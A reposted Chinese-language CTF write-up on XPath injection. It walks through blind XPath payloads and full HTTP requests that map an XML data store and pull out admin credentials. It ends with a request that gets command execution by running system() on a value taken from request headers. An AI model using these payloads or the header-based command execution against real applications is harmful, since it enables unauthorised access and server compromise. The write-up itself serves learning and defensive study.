一文读懂Xpath注入与利用

admin 2024年1月1日15:07:48评论27 views字数 4181阅读13分56秒阅读模式

1.前言

XPath注入是一种针对使用XPath(XML Path Language)的应用程序进行攻击的安全漏洞。XPath是一种用于在XML文档中定位信息的查询语言,类似于SQL中的查询语言。XPath注入类似于SQL注入,攻击者利用应用程序未正确验证用户输入的漏洞,向应用程序提交恶意构造的XPath查询,从而绕过认证、获取未授权的数据或执行未经授权的操作。

在一次CTF题目中,正巧碰到了该类型的注入,网上资料挺少的,于是记录一下。本文会全面讲解。

2.前置知识

首先举一个Xml的案例,在Xml语法中,是比较严格的。

比如:

<book>
  <title>Hello</title>
  <name>小明</name>
</book>

都为成对出现,而所谓的Xpath注入,其实和SQL注入类似,查询的是xml中的内容,比如节点名,节点下有哪些子节点子节点里面有哪些内容等等。

比如一个账号密码写到了xml中,用户名aaa,密码123456。通过Xpath注入,就可以获取到其中的账号和密码,进行下一步操作。

<admin>
<user>aaa</user>
<pass>123456</pass>
<admin>

3.Xpath盲注

该题目打开之后是一个查询的页面:

当输入1'时候报错,显示有xpath错误等(目前结束了,只有当时留下的截图)

(找了个线上类似的CTF靶场,与原题不一样,但可以看看https://buuoj.cn/challenges#[NPUCTF2020]ezlogin)

一文读懂Xpath注入与利用

首先查询根节点数量:

'or count(/)=1  or ''='  ###根节点数量为1

'or count(/*)=1 or ''=' ##根节点下只有一个子节点

不过在原题中,count函数无法使用,所以后面多走了很多弯路。

查询根节点下的节点名称:

'or substring(name(/*[1]), 1, 1)='a'  or ''=' 

'or substring(name(/*[1]), 2, 1)='c' or ''='

'or substring(name(/*[1]), 8, 1)='s' or ''='

简单解释一下上面的语句,name其实可以理解为一个内置函数,查询的为根节点的名字,比如1,1判断第一个字符是否为a,这里可以直接用burp爆破来做测试,循环遍历a-zA-Z0-9即可。

查询根节点名称:

POST /query.php HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 63
Connection: close

{"student_id":"'or substring(name(/*[1]), 1, 1)='1' or ' '='"}

最后爆破出来的根节点为:school

所以自己可以先行构造该xml为:

<school>

</school>

那么得知school为根节点之后,继续往后测试。

查询school下方节点:

'or substring(name(/school/[position()=1]/*[1]),1,1)='1'  or ' '='

此时[position()=1]/*[1])查询的则为根节点中,第一个子节点的名称,同理使用burp爆破即可。比如查询school下的第二个子节点,只需要改成[2]即可。

比如school下的第一个子节点为students。查询students下方的节点。/school/students/[position()=1]/*[1])来查询students中的第一个子节点....

经过依次类推:

POST /query.php HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 91
Connection: close

{"student_id":"'or substring(name(/school/students/student/[position()=1]/*[1]),1,1)='1' or ' '='"}

最终得到整个xml语法结构:

<school>
<students>
	<student>
		<id></id>
		<name></name>
		<college></college>
	</student>
	<student>
		<id></id>
		<name></name>
		<college></college>
	</student>
	<student>
		<id></id>
		<name></name>
		<college></college>
	</student>
</students>
	<admin>
		<username></username>
		<password></password>
	<admin>
</school>

此时只知道整个xml的结构,就开始查询其中的内容。

这里有个坑,最开始没有查询school下的第二个子节点,也就是admin。导致一直在student节点里面玩....发现能查询出id,但name和college都为空。思路就停滞住了。一切的坑全部在count函数被禁用。导致一直以为只有一个节点...

{"student_id":"'or substring(name(/school/*[2]), 1, 1)='1' or ' '='} 这条语句此时就是查询的就是school下第二个节点的名字。最终查询出admin这个节点

然后继续查admin下方的节点:

比如<admin><子节点></子节点></admin>

{"student_id":"'or substring(name(/school/admin[position()=1]/*[2]),1,1)='1' or ' '='"}

跑内容的话相对简单,下方这条语句表示查询password中的内容,且判断的为第四位,这里继续用burp爆破即可。鸡肋的地方在于不知道啥时候结束。只能一个个往后爆破。带着点运气的手法了。

POST /query.php HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 83
Connection: close

{"student_id":"'or substring(/school/admin/password/text(), 4, 1)='1' or ' '='"}

最终成果: admin xxxxxxx123 (密码这里随便写了一个)

<school>
<students>
	<student>
		<id>101</id>
		<name></name>
		<college></college>
	</student>
	<student>
		<id>102</id>
		<name></name>
		<college></college>
	</student>
	<student>
		<id>103</id>
		<name></name>
		<college></college>
	</student>
</students>
	<admin>
		<username>admin</username>
		<password>xxxxxxx123</password>
	<admin>
</school>

得知前面的账号密码后登录后台:

一文读懂Xpath注入与利用

登录后就是一个命令执行:

一文读懂Xpath注入与利用

但是只能执行phpinfo,无法执行其它命令。

最后通过在header中来执行命令~

POST /home.php HTTP/1.1
Host: 
User-Agent: 执行命令的地方
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 43

code=system(next(apache_request_headers()))

4.结尾

总体来说该题目很有意思,由于已结束,所以图可能比较少,具体可以看一下Xpath的文档:

https://www.w3school.com.cn/xpath/index.asp

来源:https://www.freebuf.com/articles/web/386942.html

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

原文始发于微信公众号(白帽子左一):一文读懂Xpath注入与利用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月1日15:07:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一文读懂Xpath注入与利用https://cn-sec.com/archives/2354715.html

发表评论

匿名网友 填写信息